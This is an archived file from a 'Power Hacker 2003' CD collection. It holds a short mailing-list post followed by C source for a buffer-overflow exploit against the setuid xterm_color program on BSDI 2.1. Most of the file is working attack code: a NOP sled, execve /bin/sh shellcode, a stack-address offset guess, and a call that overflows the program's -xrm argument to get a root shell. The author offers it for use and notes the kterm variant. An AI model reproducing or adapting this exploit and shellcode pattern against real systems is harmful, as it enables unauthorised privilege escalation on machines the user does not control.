home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / bsd_cxterm.c < prev    next >
C/C++ Source or Header  |  2001-11-06  |  2KB  |  103 lines

  1. Hi,
  2. try this exploit, it works on BSDI 2.1 and I think that it works
  3. in older versions too.
  4. The patch from BSDI which fixes security problems with X11 library
  5. on BSDI 2.1 has number U210-041.
  6.  
  7. This exploit is based on exploit of bug in Linux - color_xterm
  8. which was here some time ago.
  9.  
  10. bye
  11. pukvis
  12.  
  13. PS: exploit of kterm is the same, but you must rewrite paths.
  14.  
  15. - --- here is xterm_color expoit ---
  16.  
  17. /*
  18.  
  19.    xterm_color buffer overflow exploit for BsDi ... tested on BsDi 2.1
  20.  
  21.                                                         pukvis
  22.  
  23. */
  24.  
  25. #include <unistd.h>
  26. #include <stdio.h>
  27. #include <stdlib.h>
  28. #include <fcntl.h>
  29.  
  30. #define XTERM_COLOR_PATH "/usr/X11R6/bin/xterm_color"
  31. #define BUFFER_SIZE 1024
  32. #define DEFAULT_OFFSET 50
  33.  
  34. #define NOP_SIZE 1
  35. char nop[] = "\x90";
  36. char shellcode[] =
  37.   "\xeb\x23"
  38.    "\x5e"
  39.    "\x8d\x1e"
  40.    "\x89\x5e\x0b"
  41.    "\x31\xd2"
  42.    "\x89\x56\x07"
  43.    "\x89\x56\x0f"
  44.    "\x89\x56\x14"
  45.    "\x88\x56\x19"
  46.    "\x31\xc0"
  47.    "\xb0\x3b"
  48.    "\x8d\x4e\x0b"
  49.    "\x89\xca"
  50.    "\x52"
  51.    "\x51"
  52.    "\x53"
  53.    "\x50"
  54.    "\xeb\x18"
  55.    "\xe8\xd8\xff\xff\xff"
  56.    "/bin/sh"
  57.    "\x01\x01\x01\x01"
  58.    "\x02\x02\x02\x02"
  59.   "\x03\x03\x03\x03"
  60.   "\x9a\x04\x04\x04\x04\x07\x04";
  61.  
  62. unsigned long get_sp(void) {
  63.    __asm__("movl %esp,%eax");
  64. }
  65.  
  66. void main(int argc,char **argv)
  67. {
  68.    char *buff = NULL;
  69.    unsigned long *addr_ptr = NULL;
  70.    char *ptr = NULL;
  71.    int i,OffSet = DEFAULT_OFFSET;
  72.  
  73.    if (argc>1) OffSet = atoi(argv[1]);
  74.  
  75.    buff = malloc(2048);
  76.    if(!buff)
  77.    {
  78.       printf("mA1o pJaMJeti !!!\n");
  79.       exit(0);
  80.    }
  81.    ptr = buff;
  82.  
  83.    for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE;
  84. i+=NOP_SIZE) {
  85.         memcpy (ptr,nop,NOP_SIZE);
  86.         ptr+=NOP_SIZE;
  87.    }
  88.  
  89.    for(i=0;i < strlen(shellcode);i++)
  90.       *(ptr++) = shellcode[i];
  91.  
  92.    addr_ptr = (long *)ptr;
  93.    for(i=0;i < (8/4);i++)
  94.       *(addr_ptr++) = get_sp() + OffSet;
  95.    ptr = (char *)addr_ptr;
  96.    *ptr = 0;
  97.    (void) fprintf(stderr,
  98.          "try if it goes - check your id\n");
  99.     execl(XTERM_COLOR_PATH, "xterm_color", "-xrm",buff, NULL);
  100. }
  101.  
  102. - --- end of xterm_color exploit ---
  103.